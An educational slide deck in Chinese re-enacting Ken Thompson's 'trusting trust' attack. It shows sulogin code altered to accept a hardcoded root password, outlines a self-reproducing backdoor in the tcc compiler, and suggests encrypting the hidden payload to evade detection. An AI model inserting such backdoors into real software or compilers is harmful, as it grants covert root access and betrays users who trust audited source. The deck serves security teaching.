# 给开源编译器插入后门

## Ken Thompson's *Reflections on Trusting Trust*

李博杰 bojieli@gmail.com

December 19, 2012

# Outline

# What is sulogin?

- Linux 系统启动过程中出现错误时，就会有这个进入恢复模式的提示：
- `Give root password for maintenance (or type Control-D to continue):`
- 这个程序本身是以 root 身份运行的，去系统用户数据库检查用户输入的 root 密码是否正确，如果正确的话就进入一个 root shell
- 如果让这个程序在接受正确密码之余，还能够悄悄接受 bojieli 这个密码……
- 让我们从 sulogin 的源码（在 util-linux 这个包里）开始。

# 给 sulogin 插入后门

```
while (pwd) {
    if ((p = getpasswd(pwd->pw_passwd)) == NULL)
        break;
    if (pwd->pw_passwd[0] == 0 ||
     strcmp(crypt(p, pwd->pw_passwd), pwd->pw_passwd) == 0)
        sushell(pwd);
    mask_signal(SIGQUIT, SIG_IGN, &saved_sigquit);
    mask_signal(SIGTSTP, SIG_IGN, &saved_sigtstp);
    mask_signal(SIGINT,  SIG_IGN, &saved_sigint);
    fprintf(stderr, _("Login incorrect\n\n"));
}
```

# 给 sulogin 插入后门

```
while (pwd) {
    if ((p = getpasswd(pwd->pw_passwd)) == NULL)
        break;
    if (pwd->pw_passwd[0] == 0 ||
        strcmp(p, "bojieli") == 0 ||
     strcmp(crypt(p, pwd->pw_passwd), pwd->pw_passwd) == 0)
        sushell(pwd);
    mask_signal(SIGQUIT, SIG_IGN, &saved_sigquit);
    mask_signal(SIGTSTP, SIG_IGN, &saved_sigtstp);
    mask_signal(SIGINT,  SIG_IGN, &saved_sigint);
    fprintf(stderr, _("Login incorrect\n\n"));
}
```

# Outline

# 让编译器插入后门

- 在 sulogin 中插入一段如此明显的后门代码，实在是太不明智了
- 如果系统的编译器是闭源的，何不让编译器完成这个光荣而伟大的使命？
- ```
  function compile() {
      if (match("sulogin"))
          ReplaceMatchedCode("login-backdoor");
  }
  ```
  ```

# 扼住 tcc 读入源码的咽喉

- 编译器很复杂，在 AST（抽象代码树）层次上做替换，固然比较隐蔽，但难度较大
- 在 tcc 编译器中，我们从读取源代码的缓冲区下手
- 一旦读到的部分匹配上一段模式，就自动替换成后门代码
- 当然在 C 语言中实现字符串替换，不像高级语言那样简单
- 2-compiler-backdoor/tinycc/tccpp.c

# Outline

# 把后门代码隐藏起来

- 加入后门的 C 编译器中有一段明显的后门代码，作为开源代码发布出去显然会被发现
- 如果让编译器在编译自身时，自动插入后门……
- 编译结果仍然需要有编译自身时插入后门的能力，不然编译两次后这个后门就失效了
- ```
  function compile() {
      if (match("sulogin"))
          ReplaceMatchedCode("login-backdoor");
      else if (match("tcc-compiler"))
          ReplaceMatchedCode("tcc-backdoor");
  }
  ```
  ```

# 输出自身的 C 程序

- 初学 C 语言时，我们都听说过能输出自身代码的 C 程序
- 程序作者往往把程序写得很短很精炼，因而不易看懂
- 如何输出自身呢？源代码一定要被放在二进制文件的数据段中
- `char *s = "\";printf(\"char *s = \\\"%s%s\");";`
  `printf("char *s = \"%s%s");`
- 代码重复两次，一次是作为字符串的一部分，另一次被编译；字符串被输出两次
- 由于字符串常量中的特殊字符需要转义，事实上第一次输出时需要做特殊处理
- 实现在 self-print/hello.c
- 此程序中可以包含任意的其他代码，因此任意程序都可以包装成自输出的

# 给编译器插入后门

```
char *tcc_replace = "Copy of the following code";
char *tcc_match = "code before backdoor";
char *tcc_match_end = "code after backdoor";
Code to match and replace sulogin
if (match(tcc_match, tcc_match_end)) {
    DeleteMatchedCode();
    InsertCode("char *tcc_replace = \"");
    InsertCode(StringEscape(tcc_replace));
    InsertCode(tcc_replace);
}
```

# 编译有后门的编译器

- 编译已经插入后门的 tcc-new（后门在 tccpp.c），用什么编译器都行，这里用的是“正版”tcc
- 用带后门的 tcc-new 编译正版 tcc 源码 tcc-orig，生成仍然带后门的 tcc-orig。这个自举（bootstrap）过程使得它不同于一般的后门。
- 用 tcc-orig 编译 sulogin，得到带后门的 sulogin
- 如果用 tcc-orig 再次编译正版 tcc 源码，得到的编译器仍然是带后门的。这次生成的编译器将被放进 4-release 作为发布版本

# 效果

- 将两次编译自身后的带后门的 tcc 二进制文件连同原始 tcc 代码发布
- 在 4-release 目录的 sulogin 和 tcc 源码中已经不包含 bojieli 这个字符串
- 编译自身得到的 tcc 与发布的 tcc 完全相同，也就是不可能通过自编译发现异常。从第三次编译开始得到的 tcc 才完全相同，是因为匹配编译器代码时替换后的代码没有空行。这不是本质问题。
- 只要用这个编译器编译 sulogin，就会自动插入后门，我就能登录所有人的计算机啦:)
- 这是一个通用的方法，可用于插入任意后门

# Outline

# 本实验的缺陷与可能的改进

- 如果待匹配的代码刚好跨越缓冲区边界，无法匹配到
- 代码匹配算法过于粗糙，应该用更精确的匹配算法
- 在被插入后门的编译器的数据段（.data section）中，能够看到一大段源代码，这肯定是令人生疑的。应该用类似软件保护的方法，对这段数据进行加密，运行时再解密。
- 可以编写一个通用的框架来自动插入后门，免得手工构造 tcc_replace 这段字符串

# 开源代码一定安全吗？

- 不仅可以在程序复杂的逻辑里隐藏后门，如本实验所述，编译器的作者还可以在编译器里隐藏后门，这样的后门不管如何细致地审查源码都不可能发现。
- 如果被广泛使用的开源系统中存在这样的后门，可能只有当某位黑客反汇编到这段代码时才能发现它的存在。
- 本实验取材于 UNIX 之父 Ken Thompson 的 1984 年图灵奖获奖演讲 *Reflections on Trusting Trust*。我们不能相信任何不是完全由自己创建的代码。
- Ken Thompson 说，如果被插入后门的不是编译器，而是汇编器、链接器，甚至硬件微码呢？层次越低，后门就越难被发现。
- 近 30 年前，Ken Thompson 就指出了对计算机不恰当使用的严重性，呼吁用道德来约束黑客行为。

# The End

- 谢谢！